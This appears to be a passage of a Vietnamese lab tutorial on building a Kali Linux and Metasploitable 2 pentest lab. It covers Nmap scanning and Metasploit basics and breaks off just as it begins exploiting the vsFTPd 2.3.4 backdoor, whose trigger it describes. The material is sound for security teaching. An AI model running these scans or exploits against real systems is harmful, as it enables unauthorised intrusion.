Bài viết này cung cấp một hướng dẫn chi tiết, từng bước về cách thiết lập một môi trường lab ảo và thực hiện các kỹ thuật hacking và pentesting cơ bản. Máy tấn công sẽ là Kali Linux, một bản phân phối Linux chuyên dụng cho kiểm thử thâm nhập và pháp y kỹ thuật số. Mục tiêu là Metasploitable 2, một máy ảo Linux được cố ý thiết kế với nhiều lỗ hổng bảo mật để phục vụ mục đích học tập và thực hành.
Phần 1: Thiết Lập Môi Trường Lab Ảo
Việc xây dựng một môi trường lab ảo cô lập là bước đầu tiên và cực kỳ quan trọng để thực hành các kỹ thuật kiểm thử thâm nhập một cách an toàn và hiệu quả. Môi trường này sẽ bao gồm phần mềm ảo hóa, máy ảo tấn công Kali Linux và máy ảo mục tiêu Metasploitable 2.
1.1. Yêu Cầu Hệ Thống và Phần Mềm
Trước khi bắt đầu, cần đảm bảo hệ thống máy chủ đáp ứng các yêu cầu tối thiểu về phần cứng và có sẵn các phần mềm cần thiết:
- Phần cứng:
- CPU: Bộ xử lý hỗ trợ ảo hóa (Intel VT-x hoặc AMD-V), nên được kích hoạt trong BIOS/UEFI.
- RAM: Tối thiểu 8GB RAM được khuyến nghị để chạy đồng thời cả hai máy ảo và hệ điều hành chủ một cách mượt mà. Mỗi máy ảo sẽ cần ít nhất 1GB-2GB RAM.1
- Ổ cứng: Ít nhất 40GB-50GB dung lượng trống để lưu trữ file máy ảo và dữ liệu phát sinh. Kali Linux cần khoảng 20GB 1, và Metasploitable 2 cần ít hơn.
- Phần mềm:
- Phần mềm ảo hóa: Oracle VM VirtualBox là một lựa chọn phổ biến, miễn phí và đa nền tảng. VMware Workstation Player/Pro cũng là một lựa chọn tốt, với phiên bản Player miễn phí cho mục đích cá nhân.2 Hướng dẫn này sẽ tập trung vào VirtualBox.
- File ảnh máy ảo Kali Linux: Sẽ được tải về từ trang chính thức.
- File máy ảo Metasploitable 2: Sẽ được tải về từ SourceForge.
1.2. Giới thiệu Kali Linux và Metasploitable 2
- Kali Linux: Là một bản phân phối Linux dựa trên Debian, được thiết kế đặc biệt cho các chuyên gia bảo mật và kiểm thử thâm nhập. Nó tích hợp sẵn hàng trăm công cụ mạnh mẽ dùng cho việc thu thập thông tin, quét lỗ hổng, khai thác, pháp y kỹ thuật số, và nhiều hơn nữa.3
- Metasploitable 2: Là một máy ảo Linux được xây dựng bởi Rapid7 (nhà phát triển Metasploit Framework). Nó được cố ý cài đặt với nhiều dịch vụ mạng và ứng dụng web có lỗ hổng bảo mật đã biết, tạo ra một mục tiêu lý tưởng để thực hành các kỹ thuật tấn công một cách hợp pháp và an toàn.5 Việc Metasploitable 2 “rất cũ” 8 và “cố ý dễ bị tấn công” 5 chính là một ưu điểm cho người mới học, vì nó cho phép tập trung vào các khái niệm cơ bản về lỗ hổng và cách khai thác mà không bị cản trở bởi các biện pháp bảo vệ phức tạp thường thấy trên các hệ thống hiện đại.
1.3. Tải Kali Linux VirtualBox Image
Có nhiều nguồn để tải ảnh máy ảo Kali Linux. Nên ưu tiên tải từ trang chính thức của Kali Linux hoặc các nguồn uy tín được cộng đồng công nhận.
- Nguồn chính thức từ Kali.org:
- Truy cập https://www.kali.org/get-kali/#kali-virtual-machines. Trang này cung cấp các ảnh máy ảo đã được xây dựng sẵn cho VMware và VirtualBox.
- Chọn phiên bản cho VirtualBox (thường là file .ova hoặc .vdi).
- Thông tin đăng nhập mặc định thường là kali cho cả username và password.2
- Nguồn từ OSBoxes.org:
- Trang https://www.osboxes.org/kali-linux/ cũng cung cấp các file VDI cho VirtualBox và VMDK cho VMware.10
- Lưu ý thông tin đăng nhập được cung cấp trên trang (ví dụ: username osboxes, password osboxes.org).10
- Kiểm tra tính toàn vẹn file: Sau khi tải về, rất quan trọng phải kiểm tra SHA256 checksum của file đã tải với checksum được cung cấp trên trang web tải về. Điều này đảm bảo file không bị lỗi hoặc bị can thiệp trong quá trình tải.2 Trên Linux hoặc macOS, có thể dùng lệnh
sha256sum <ten_file>. Trên Windows, có thể dùng certutil -hashfile <ten_file> SHA256.
1.4. Import và Cấu hình Kali Linux trong VirtualBox
Sau khi đã có file ảnh máy ảo Kali Linux (ví dụ, file .ova hoặc .vdi), tiến hành import hoặc tạo máy ảo mới trong VirtualBox.
- Nếu tải file .ova:
- Mở VirtualBox, chọn File -> Import Appliance.
- Trỏ đến file .ova của Kali Linux đã tải về và làm theo hướng dẫn.
- Nếu tải file .vdi (hoặc tạo mới từ ISO):
- Mở VirtualBox, nhấn nút “New”.1
- Đặt tên cho máy ảo (ví dụ: “Kali Linux Attacker”).
- Chọn “Type” là “Linux”.
- Chọn “Version” là “Debian (64-bit)” (vì Kali dựa trên Debian). Nếu không có tùy chọn Debian, “Ubuntu (64-bit)” cũng có thể được sử dụng như một lựa chọn gần đúng.1
- Cấu hình RAM: Tối thiểu 1GB-2GB 1, nhưng khuyến nghị 4GB nếu hệ thống chủ cho phép để đảm bảo hiệu suất tốt hơn.
- Cấu hình ổ cứng: Chọn “Use an existing virtual hard disk file” và trỏ đến file .vdi đã tải. Nếu cài từ ISO, chọn “Create a virtual hard disk now” và cấp phát ít nhất 20GB dung lượng.1
- Cấu hình tài nguyên khác:
- Số lượng CPU: Phân bổ 2 CPU cores nếu có thể.
- Đăng nhập lần đầu: Sử dụng thông tin đăng nhập mặc định (ví dụ: kali/kali 2 hoặc
osboxes/osboxes.org 10 tùy thuộc vào nguồn tải). - Thay đổi mật khẩu mặc định: Ngay sau khi đăng nhập thành công lần đầu, mở Terminal và sử dụng lệnh passwd để thay đổi mật khẩu cho user hiện tại. Đây là một bước bảo mật quan trọng.2
- Cập nhật hệ thống: Việc cập nhật Kali Linux lên phiên bản mới nhất của các công cụ và bản vá bảo mật là rất cần thiết. Mở Terminal và chạy lệnh:
Bash
sudo apt update && sudo apt full-upgrade -y - Video YouTube minh họa quá trình cài đặt Kali Linux trên VirtualBox có thể tham khảo tại 9 và.9
1.5. Tải Metasploitable 2
Metasploitable 2 là một máy ảo được thiết kế đặc biệt để thực hành pentest.
- Nguồn tải chính:
- SourceForge: Đây là nguồn được khuyến nghị và phổ biến nhất. Truy cập http://sourceforge.net/projects/metasploitable/files/Metasploitable2/.5 File tải về sẽ là một file
.zip chứa máy ảo đã được cấu hình sẵn cho VMware, nhưng file ổ đĩa ảo .vmdk bên trong có thể dễ dàng sử dụng với VirtualBox. - Rapid7: Rapid7, nhà phát triển Metasploit, cũng cung cấp liên kết tải Metasploitable.6 Tuy nhiên, thường thì người dùng sẽ phải điền một biểu mẫu để nhận link tải, và có thể không phải là link tải trực tiếp cho phiên bản “Metasploitable 2”.6
- File tải về từ SourceForge sẽ có dạng Metasploitable-Linux-2.0.0.zip (hoặc tương tự), dung lượng khoảng 800MB.11
1.6. Import và Cấu hình Metasploitable 2 trong VirtualBox
Quá trình import Metasploitable 2 vào VirtualBox cũng tương tự như Kali Linux, nhưng có một số lưu ý quan trọng do tuổi đời của máy ảo này.
- Giải nén file: Sau khi tải file .zip của Metasploitable 2, giải nén nó ra một thư mục. Bên trong thư mục giải nén, bạn sẽ tìm thấy các file, bao gồm file cấu hình .vmx (dành cho VMware) và quan trọng nhất là file ổ đĩa ảo .vmdk (ví dụ: Metasploitable.vmdk).5
- Import vào VirtualBox (sử dụng file .vmdk hiện có) 8:
- Mở VirtualBox, chọn “Machine” -> “New…”.
- Name: Đặt tên cho máy ảo, ví dụ: “Metasploitable2 Target”.
- Type: Chọn “Linux”.
- Version: Chọn “Ubuntu (32-bit)” hoặc “Ubuntu (64-bit)”. 8 đề xuất “Oracle Linux (64-bit)”, nhưng “Ubuntu” thường là lựa chọn an toàn cho Metasploitable 2 vốn dựa trên Ubuntu.
- Memory size (RAM): Phân bổ RAM cho máy ảo. Khoảng 512MB đến 1GB là đủ cho Metasploitable 2 hoạt động. 8 đề xuất 2048MB, nhưng điều này có thể không cần thiết.
- Hard disk: Chọn tùy chọn “Use an existing virtual hard disk file”. Nhấp vào biểu tượng thư mục nhỏ bên cạnh danh sách thả xuống.
- Trong cửa sổ “Virtual Hard Disk Selector”, nhấp vào nút “Add”.
- Điều hướng đến thư mục bạn đã giải nén Metasploitable 2 và chọn file .vmdk (ví dụ: Metasploitable.vmdk). Nhấp “Open”.
- Đảm bảo file .vmdk vừa thêm được chọn, sau đó nhấp “Choose”.
- Nhấp “Create” để hoàn tất việc tạo máy ảo.
- Đăng nhập lần đầu:
- Khởi động máy ảo Metasploitable 2.
- Thông tin đăng nhập mặc định là:
- Username: msfadmin
- Password: msfadmin
5
- Khắc phục sự cố khởi động (Rất quan trọng):
- Do Metasploitable 2 là một máy ảo cũ, nó có thể gặp sự cố khi khởi động trên các phiên bản VirtualBox mới hơn hoặc trên phần cứng hiện đại.8 Triệu chứng phổ biến là máy ảo bị kẹt ở màn hình khởi động hoặc báo lỗi liên quan đến APIC.
- Giải pháp 8:
- Tắt máy ảo Metasploitable 2.
- Trong VirtualBox, chọn máy ảo Metasploitable 2, sau đó vào “Settings”.
- Đi đến mục “System” -> tab “Motherboard”.
- Trong phần “Extended Features”, bỏ chọn (uncheck) “Enable I/O APIC”. Một số tài liệu như 8 đề cập “disable all the extended features”, nhưng việc vô hiệu hóa I/O APIC thường là giải pháp chính.
- Nhấn “OK” để lưu thay đổi.
- Khởi động lại máy ảo Metasploitable 2.
- Nếu vẫn gặp sự cố, hoặc để áp dụng thay đổi vĩnh viễn trong GRUB:
- Trong quá trình máy ảo khởi động, nhanh tay nhấn phím Esc để vào menu boot của GRUB.
- Bạn sẽ thấy một danh sách các tùy chọn khởi động. Chọn dòng kernel mặc định (thường là dòng đầu tiên) và nhấn phím e để chỉnh sửa.
- Tìm dòng bắt đầu bằng kernel… (hoặc linux…). Di chuyển con trỏ đến cuối dòng đó, nhấn e một lần nữa để sửa dòng đó, và thêm từ khóa noapic vào cuối dòng (cách các tham số khác bằng một dấu cách).
- Nhấn Enter để chấp nhận thay đổi, sau đó nhấn phím b để khởi động với tùy chọn mới.
- Để thay đổi này có hiệu lực vĩnh viễn (không cần làm lại mỗi lần boot): Sau khi đăng nhập thành công vào Metasploitable 2 bằng msfadmin/msfadmin, mở terminal và gõ lệnh:
Bash
sudo nano /boot/grub/menu.lst
Tìm đến dòng kernel tương tự như trên (có thể có nhiều mục kernel, hãy sửa mục mặc định hoặc tất cả các mục). Thêm noapic vào cuối dòng kernel đó. Lưu file (Ctrl+O, Enter) và thoát (Ctrl+X). Lần khởi động tiếp theo sẽ tự động áp dụng noapic. - Việc hiểu rằng phần mềm cũ có thể cần những tinh chỉnh như noapic để hoạt động trên các nền tảng ảo hóa mới là một bài học quan trọng. Nếu không thực hiện bước này, người dùng rất có thể không khởi động được Metasploitable 2, gây cản trở lớn cho quá trình học tập.
1.7. Cấu hình Mạng cho Lab
Để Kali Linux có thể “nhìn thấy” và tấn công Metasploitable 2, việc cấu hình mạng đúng cách là tối quan trọng. Đồng thời, cần đảm bảo môi trường lab được cô lập khỏi mạng chính của bạn để tránh các rủi ro không mong muốn.
- Phương pháp khuyến nghị: Sử dụng NAT Network trong VirtualBox.
NAT Network cho phép các máy ảo trong cùng một mạng NAT giao tiếp với nhau và truy cập Internet (nếu cần) thông qua máy chủ, nhưng chúng sẽ được cô lập khỏi mạng LAN vật lý của máy chủ.
- Tạo NAT Network:
- Trong VirtualBox Manager, đi đến File -> Preferences (hoặc Tools -> Network Manager trên các phiên bản mới hơn).
- Chọn tab “Networks”.
- Nhấp vào biểu tượng dấu cộng (+) để tạo một NAT Network mới.12
- Đặt tên cho NAT Network, ví dụ: PentestLabNet.
- Các tùy chọn mặc định (ví dụ: Network CIDR thường là 10.0.2.0/24) thường là đủ. Nhấn “OK”.
- Cấu hình cho máy ảo Kali Linux:
- Chọn máy ảo Kali Linux trong VirtualBox Manager, sau đó vào “Settings”.
- Đi đến mục “Network”.
- Trong tab “Adapter 1”:
- Đảm bảo “Enable Network Adapter” được chọn.
- Trong mục “Attached to:”, chọn “NAT Network”.
- Trong mục “Name:”, chọn NAT Network bạn vừa tạo (ví dụ: PentestLabNet).12
- Nhấn “OK”.
- Cấu hình cho máy ảo Metasploitable 2:
- Lặp lại các bước tương tự như cấu hình cho Kali Linux: Chọn máy ảo Metasploitable 2, vào Settings -> Network -> Adapter 1.
- “Attached to:” chọn “NAT Network”.
- “Name:” chọn cùng NAT Network (PentestLabNet).12
- Nhấn “OK”.
- Xác minh kết nối mạng:
- Khởi động cả hai máy ảo (Kali Linux và Metasploitable 2).
- Trên Metasploitable 2:
- Đăng nhập bằng msfadmin/msfadmin.
- Mở terminal và chạy lệnh ifconfig.11
- Tìm thông tin của card mạng eth0. Ghi lại địa chỉ IP trong mục inet addr (ví dụ: 10.0.2.4 nếu NAT Network của bạn bắt đầu bằng 10.0.2.0/24). Đây là địa chỉ IP mục tiêu.
- Trên Kali Linux:
- Đăng nhập.
- Mở terminal và chạy lệnh ip a hoặc ifconfig để xem địa chỉ IP của máy Kali (ví dụ: 10.0.2.15).
- Thử ping đến địa chỉ IP của Metasploitable 2:
Bash
ping <IP_CUA_METASPLOITABLE2>
Ví dụ: ping 10.0.2.4. Nếu nhận được phản hồi, kết nối đã thành công.
- (Tùy chọn) Thử ping từ Metasploitable 2 đến Kali Linux để kiểm tra kết nối hai chiều.
- Nếu gặp sự cố kết nối, hãy kiểm tra lại các bước cấu hình NAT Network và cài đặt card mạng cho từng máy ảo. Đôi khi, việc khởi động lại VirtualBox hoặc các máy ảo có thể giải quyết vấn đề. 2 cũng đề cập đến việc thử chuyển đổi giữa NAT và Bridged mode nếu có sự cố mạng, tuy nhiên, NAT Network cung cấp sự cô lập tốt hơn và thường được ưu tiên cho môi trường lab pentest. Việc cấu hình mạng chính xác là nền tảng; nếu không có kết nối, mọi nỗ lực pentest sau đó sẽ vô nghĩa.
Dưới đây là bảng tóm tắt thông tin cài đặt cho các máy ảo:
Bảng 1: Thông tin Tải và Cài đặt Máy Ảo
| Tên Máy Ảo | Nguồn Tải Đề Xuất | Loại File | Thông tin Đăng nhập Mặc định | Lưu ý Cài đặt Quan trọng |
| Kali Linux | https://www.kali.org/get-kali/#kali-virtual-machines | OVA/VDI | kali / kali | Kiểm tra SHA256, cập nhật hệ thống sau cài đặt. |
| Metasploitable 2 | http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ | ZIP (chứa VMDK) | msfadmin / msfadmin | Giải nén file ZIP, sử dụng file VMDK, khắc phục lỗi noapic. |
Phần 2: Thu Thập Thông Tin & Quét Lỗ Hổng (Reconnaissance)
Giai đoạn thu thập thông tin, hay Reconnaissance, là bước đầu tiên và cực kỳ quan trọng trong bất kỳ cuộc kiểm thử thâm nhập nào.14 Mục tiêu của giai đoạn này là thu thập càng nhiều thông tin về hệ thống mục tiêu càng tốt, bao gồm địa chỉ IP, các cổng dịch vụ đang mở, phiên bản phần mềm đang chạy, và hệ điều hành. Những thông tin này sẽ là cơ sở để xác định các vector tấn công tiềm năng.
2.1. Giới thiệu về Reconnaissance
Reconnaissance có thể được chia thành hai loại chính:
- Passive Reconnaissance (Thu thập thông tin thụ động): Thu thập thông tin mà không tương tác trực tiếp với hệ thống mục tiêu. Ví dụ: tìm kiếm thông tin trên Google, phân tích DNS records, kiểm tra thông tin WHOIS.
- Active Reconnaissance (Thu thập thông tin chủ động): Tương tác trực tiếp với hệ thống mục tiêu để thu thập thông tin. Ví dụ: quét cổng, quét dịch vụ, fingerprinting hệ điều hành.
Trong khuôn khổ bài lab này, chúng ta sẽ tập trung vào Active Reconnaissance sử dụng công cụ Nmap trên máy Kali Linux để thăm dò Metasploitable 2.
2.2. Xác định Địa chỉ IP của Metasploitable 2
Như đã đề cập ở Phần 1.7, sau khi cấu hình mạng NAT Network và khởi động cả hai máy ảo:
- Đăng nhập vào máy ảo Metasploitable 2 bằng tài khoản msfadmin và mật khẩu msfadmin.
- Mở một cửa sổ terminal.
- Chạy lệnh ifconfig.11
Lệnh này sẽ hiển thị cấu hình mạng của tất cả các interface mạng trên máy. Tìm đến interface eth0 (thường là card mạng chính). Địa chỉ IP của Metasploitable 2 sẽ được liệt kê sau mục inet addr:. Ví dụ, nó có thể là 10.0.2.4 hoặc một địa chỉ tương tự trong dải mạng NAT Network bạn đã cấu hình.
msfadmin@metasploitable:~$ ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:q1:q2:q3
inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:feq1:q2q3/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
…
Ghi lại địa chỉ IP này, vì nó sẽ là mục tiêu cho tất cả các bước quét và tấn công sau này. Lệnh ifconfig là một công cụ cơ bản nhưng thiết yếu để xác định địa chỉ IP của mục tiêu trong mạng nội bộ.
2.3. Quét Cổng và Dịch vụ với Nmap
Nmap (Network Mapper) là một công cụ quét mạng mã nguồn mở cực kỳ mạnh mẽ và linh hoạt, được sử dụng rộng rãi bởi các chuyên gia bảo mật để khám phá host, quét cổng, phát hiện dịch vụ và phiên bản, cũng như nhận diện hệ điều hành.13
Từ máy Kali Linux, mở một cửa sổ terminal và thực hiện các lệnh Nmap sau, thay thế <IP_Metasploitable2> bằng địa chỉ IP thực tế của máy Metasploitable 2 mà bạn đã xác định ở bước trước.
- Ping Scan (Host Discovery): Xác định xem mục tiêu có đang hoạt động (“sống”) trên mạng hay không.
Bash
nmap -sn <IP_Metasploitable2>
Tùy chọn -sn (No port scan) chỉ thực hiện ping scan để kiểm tra host có online không, không quét cổng.16 - TCP SYN Scan (Stealth Scan): Quét các cổng TCP phổ biến một cách nhanh chóng. Đây là kiểu quét mặc định khi có quyền root và thường ít bị các hệ thống IDS/IPS ghi lại hơn so với TCP Connect scan.
Bash
sudo nmap -sS <IP_Metasploitable2>
Tùy chọn -sS chỉ định TCP SYN scan.16 Cần
sudo vì SYN scan yêu cầu quyền tạo raw packet. - Quét tất cả các cổng TCP: Để đảm bảo không bỏ sót dịch vụ nào, có thể quét toàn bộ 65535 cổng TCP. Quá trình này sẽ mất nhiều thời gian hơn.
Bash
sudo nmap -sS -p- <IP_Metasploitable2>
Hoặc:
Bash
sudo nmap -sS -p 1-65535 <IP_Metasploitable2>
Tùy chọn -p- hoặc -p 1-65535 chỉ định quét tất cả các cổng.13 - Phát hiện Phiên bản Dịch vụ và Hệ điều hành (Version Detection & OS Detection): Đây là bước cực kỳ quan trọng, vì thông tin về phiên bản phần mềm cụ thể sẽ giúp tìm kiếm các lỗ hổng và mã khai thác (exploit) tương ứng.
Bash
sudo nmap -sV -O <IP_Metasploitable2>
- -sV: Phát hiện phiên bản của các dịch vụ đang chạy trên các cổng mở.
- -O: Cố gắng phát hiện hệ điều hành của mục tiêu.
Một lệnh mạnh mẽ hơn, kết hợp nhiều kỹ thuật quét, bao gồm OS detection, version detection, script scanning mặc định và traceroute là:Bash
sudo nmap -A <IP_Metasploitable2>
Tùy chọn -A thường cho kết quả chi tiết nhưng cũng “ồn ào” hơn và mất nhiều thời gian hơn.17 Nên sử dụng-T4 (aggressive timing) để tăng tốc độ quét, nhưng cần cẩn trọng vì có thể gây ảnh hưởng đến một số hệ thống nhạy cảm hoặc dễ bị phát hiện hơn:Bash
sudo nmap -A -T4 <IP_Metasploitable2>
- Quét Script (Nmap Scripting Engine – NSE): Nmap có một engine scripting mạnh mẽ cho phép người dùng viết (hoặc sử dụng các script có sẵn) để tự động hóa nhiều tác vụ, bao gồm phát hiện lỗ hổng.
- Chạy các script mặc định an toàn:
Bash
sudo nmap -sC <IP_Metasploitable2>
Tùy chọn -sC tương đương với –script=default. - Chạy các script trong nhóm “vuln” để tìm kiếm các lỗ hổng đã biết:
Bash
sudo nmap –script=vuln <IP_Metasploitable2>
Cảnh báo: Các script trong nhóm “vuln” có thể mang tính xâm nhập cao và có thể gây ra sự cố trên hệ thống mục tiêu. Chỉ sử dụng trong môi trường lab được kiểm soát. - Hiểu kết quả Nmap:
Kết quả Nmap thường hiển thị các cột chính: PORT, STATE, SERVICE, và VERSION.
- PORT: Số hiệu cổng (ví dụ: 21/tcp, 80/tcp).
- STATE: Trạng thái của cổng:
- open: Cổng đang mở và có dịch vụ lắng nghe. Đây là những cổng đáng quan tâm nhất.
- closed: Cổng có thể truy cập được (ví dụ, không bị firewall chặn) nhưng không có ứng dụng nào lắng nghe trên đó.
- filtered: Nmap không thể xác định được cổng đang mở hay đóng, thường là do firewall chặn các gói tin thăm dò của Nmap.
- SERVICE: Tên dịch vụ phổ biến thường chạy trên cổng đó (ví dụ: ftp, http, ssh).
- VERSION: Thông tin chi tiết về phiên bản của phần mềm dịch vụ (ví dụ: vsftpd 2.3.4, Apache httpd 2.2.8 ((Ubuntu) DAV/2)). Đây là thông tin vàng để tìm exploit.
13 cung cấp một ví dụ về kết quả quét Nmap trên Metasploitable 2, cho thấy rất nhiều dịch vụ đang mở, bao gồm: - 21/tcp: ftp (vsftpd 2.3.4)
- 22/tcp: ssh (OpenSSH 4.7p1 Debian 8ubuntu1)
- 23/tcp: telnet (Linux telnetd)
- 25/tcp: smtp (Postfix smtpd)
- 53/tcp: domain (ISC BIND 9.4.2)
- 80/tcp: http (Apache httpd 2.2.8)
- 111/tcp: rpcbind
- 139/tcp & 445/tcp: netbios-ssn (Samba smbd 3.X – 4.X)
- 3306/tcp: mysql (MySQL 5.0.51a-3ubuntu5)
- 5432/tcp: postgresql (PostgreSQL 8.3.1)
- 6667/tcp: irc (UnrealIRCd)
- Và nhiều dịch vụ khác. Việc Nmap có thể xác định chính xác tên và phiên bản dịch vụ là nền tảng cốt lõi cho việc lựa chọn module khai thác phù hợp ở các giai đoạn sau. Nếu không có thông tin phiên bản chính xác, việc tìm kiếm và thử nghiệm exploit sẽ trở nên mò mẫm và kém hiệu quả.
- Lưu kết quả Nmap:
Rất nên lưu kết quả quét Nmap để phân tích sau này hoặc import vào các công cụ khác.
- Lưu ở định dạng normal text:
Bash
sudo nmap -A -oN metasploitable_scan.nmap <IP_Metasploitable2>
Tùy chọn -oN <ten_file>.16 - Lưu ở định dạng XML (hữu ích cho việc import vào Metasploit hoặc các công cụ phân tích khác):
Bash
sudo nmap -A -oX metasploitable_scan.xml <IP_Metasploitable2>
Tùy chọn -oX <ten_file>.16
Việc hiểu rõ các tùy chọn của Nmap là rất quan trọng. Ví dụ, tùy chọn -A cung cấp nhiều thông tin nhưng lại “ồn ào” và có thể bị phát hiện, trong khi -sS kín đáo hơn. Tùy chọn -T (timing template) cho phép điều chỉnh tốc độ quét; -T4 (aggressive) và -T5 (insane) quét nhanh hơn nhưng có thể bỏ sót cổng hoặc gây bất ổn cho mục tiêu.17
Video YouTube minh họa cách sử dụng Nmap để quét Metasploitable 2 và phân tích kết quả có thể tham khảo tại 55 (tìm exploit dựa trên kết quả Nmap) và 56 (quét Nmap trên Metasploitable 2, hiển thị nhiều cổng mở).
Dưới đây là bảng tóm tắt một số lệnh Nmap phổ biến cho giai đoạn reconnaissance:
Bảng 2: Các Lệnh Nmap Phổ Biến cho Reconnaissance
| Lệnh Nmap | Mô tả Chức năng | Ví dụ Sử dụng trên Metasploitable 2 | Mục đích/Kết quả Mong đợi |
| nmap -sn <IP> | Ping Scan: Kiểm tra host có hoạt động không. | nmap -sn 10.0.2.4 | Xác định mục tiêu có “sống” trên mạng. |
| sudo nmap -sS <IP> | TCP SYN Scan: Quét các cổng TCP phổ biến một cách nhanh và kín đáo. | sudo nmap -sS 10.0.2.4 | Liệt kê các cổng TCP phổ biến đang mở. |
| sudo nmap -sV <IP> | Version Detection: Phát hiện phiên bản của các dịch vụ trên cổng mở. | sudo nmap -sV 10.0.2.4 | Thu thập thông tin phiên bản dịch vụ (ví dụ: vsftpd 2.3.4), rất quan trọng để tìm exploit. |
| sudo nmap -O <IP> | OS Detection: Cố gắng xác định hệ điều hành của mục tiêu. | sudo nmap -O 10.0.2.4 | Ước tính hệ điều hành đang chạy (ví dụ: Linux 2.6.x). |
| sudo nmap -A <IP> | Aggressive Scan: Bao gồm -sV, -O, -sC (script mặc định), và traceroute. | sudo nmap -A 10.0.2.4 | Thu thập thông tin toàn diện nhất về mục tiêu, bao gồm dịch vụ, phiên bản, OS, và một số lỗ hổng cơ bản từ script. |
| sudo nmap -p- <IP> | Full Port Scan: Quét tất cả 65535 cổng TCP. | sudo nmap -p- 10.0.2.4 | Đảm bảo không bỏ sót bất kỳ dịch vụ TCP nào đang chạy trên các cổng không phổ biến. |
| sudo nmap –script=vuln <IP> | Vulnerability Scan: Chạy các script NSE trong nhóm “vuln” để tìm lỗ hổng. | sudo nmap –script=vuln 10.0.2.4 | Tự động phát hiện một số lỗ hổng đã biết dựa trên các dịch vụ và phiên bản được xác định. (Cẩn trọng khi sử dụng). |
| sudo nmap -oN file.nmap <IP> | Output Normal: Lưu kết quả quét vào file text. | sudo nmap -A -oN scan_results.nmap 10.0.2.4 | Lưu trữ kết quả để xem lại và phân tích sau. |
| sudo nmap -oX file.xml <IP> | Output XML: Lưu kết quả quét vào file XML. | sudo nmap -A -oX scan_results.xml 10.0.2.4 | Lưu trữ kết quả ở định dạng có cấu trúc, dễ dàng import vào các công cụ khác như Metasploit. |
Phần 3: Khai Thác Lỗ Hổng Dịch Vụ Mạng với Metasploit Framework
Sau khi thu thập thông tin và xác định các dịch vụ tiềm ẩn lỗ hổng trên Metasploitable 2 bằng Nmap, bước tiếp theo là sử dụng Metasploit Framework để khai thác các lỗ hổng đó. Metasploit là một công cụ cực kỳ mạnh mẽ, cung cấp một thư viện lớn các mã khai thác (exploits), payloads, và các module phụ trợ.4
3.1. Giới thiệu về Metasploit Framework
Metasploit Framework, được phát triển chủ yếu bởi Rapid7, là một nền tảng kiểm thử thâm nhập hàng đầu thế giới. Nó được cài đặt sẵn trên Kali Linux 4, giúp người dùng dễ dàng tiếp cận.
- Khởi động Metasploit Console:
Để bắt đầu, mở một cửa sổ terminal trên Kali Linux và gõ lệnh:
Bash
msfconsole
4
Lần đầu khởi động có thể mất một chút thời gian để Metasploit tải các module. - Thiết lập và Quản lý Cơ sở dữ liệu:
Metasploit có thể tích hợp với cơ sở dữ liệu PostgreSQL để lưu trữ thông tin về hosts, services, vulnerabilities, credentials thu thập được, và loot (dữ liệu lấy được sau khi khai thác). Việc sử dụng cơ sở dữ liệu giúp quản lý thông tin hiệu quả, đặc biệt trong các cuộc pentest lớn.
- Khởi động dịch vụ PostgreSQL (nếu chưa chạy):
Bash
sudo systemctl start postgresql
21 - Khởi tạo cơ sở dữ liệu Metasploit (chỉ cần làm một lần):
Bash
sudo msfdb init
21 - Kiểm tra trạng thái kết nối cơ sở dữ liệu trong msfconsole:
msf6 > db_status
Nếu kết nối thành công, bạn sẽ thấy thông báo tương tự: [*] postgresql connected to msf.21 - Làm việc với Workspaces: Workspaces cho phép bạn tổ chức các dự án pentest khác nhau, tách biệt dữ liệu thu thập được.
- Liệt kê workspaces: workspace
- Thêm workspace mới: workspace -a <ten_workspace> (ví dụ: workspace -a metasploitable_lab)
- Chuyển sang một workspace: workspace <ten_workspace>
21
Việc thiết lập và sử dụng cơ sở dữ liệu cùng với workspaces ngay từ đầu sẽ hình thành thói quen tốt và rất hữu ích cho việc quản lý dữ liệu trong các kịch bản pentest phức tạp hơn. - Các lệnh Metasploit cơ bản:
- search <tu_khoa>: Tìm kiếm các module (exploits, auxiliary, payloads, post-exploitation modules, encoders, nops) dựa trên từ khóa. Từ khóa có thể là tên dịch vụ, phiên bản, CVE, v.v..17 Ví dụ:
search vsftpd. - use <duong_dan_day_du_cua_module>: Chọn một module cụ thể để làm việc. Ví dụ: use exploit/unix/ftp/vsftpd_234_backdoor.19
- info hoặc show info: Hiển thị thông tin chi tiết về module đang được chọn, bao gồm mô tả, tác giả, các tùy chọn, mục tiêu tương thích, và tài liệu tham khảo.19
- show options: Hiển thị các tùy chọn (parameters) mà module yêu cầu hoặc cho phép cấu hình.19 Các tùy chọn bắt buộc (Required = yes) cần được thiết lập trước khi chạy exploit.
- set <TEN_TUY_CHON> <gia_tri>: Thiết lập giá trị cho một tùy chọn. Ví dụ: set RHOSTS 10.0.2.4.13
RHOSTS là địa chỉ IP của mục tiêu, LHOST là địa chỉ IP của máy tấn công (Kali), RPORT là cổng của dịch vụ mục tiêu, LPORT là cổng lắng nghe trên máy tấn công cho reverse shells. - show payloads: Hiển thị danh sách các payloads tương thích với module exploit hiện tại.24
- set payload <duong_dan_payload>: Chọn một payload cụ thể để sử dụng cùng với exploit. Payload là đoạn mã sẽ được thực thi trên mục tiêu sau khi khai thác thành công (ví dụ: tạo một shell).24
- exploit hoặc run: Thực thi module đã chọn với các tùy chọn đã cấu hình.13
- sessions: Liệt kê các session đang hoạt động (ví dụ, các shell đã chiếm được).
- sessions -i <ID_session>: Tương tác với một session cụ thể.
3.2. Khai thác vsFTPd 2.3.4 Backdoor (CVE-2011-2523)
Dịch vụ FTP (File Transfer Protocol) trên Metasploitable 2 chạy phiên bản vsFTPd 2.3.4, vốn chứa một backdoor nổi tiếng.
- Thông tin lỗ hổng:
- Phiên bản vsFTPd 2.3.4 bị phát hiện có chứa một backdoor được cố ý chèn vào mã nguồn trong một khoảng thời gian ngắn. Backdoor này cho phép kẻ tấn công thực thi lệnh từ xa với quyền root.19
- Backdoor được kích hoạt khi một username chứa chuỗi ký tự đặc biệt 🙂 (mặt cười) được gửi đến server FTP (chạy trên cổng 21/tcp). Sau khi kích hoạt, một shell sẽ được mở trên cổng 6200/tcp của máy mục tiêu.24
- Các bước khai thác bằng Metasploit 7:
- Khởi động msfconsole (nếu chưa làm).
- Tìm kiếm module exploit:
msf6 > search vsftpd
Bạn sẽ thấy module exploit/unix/ftp/vsftpd_234_backdoor trong kết quả. - Chọn module:
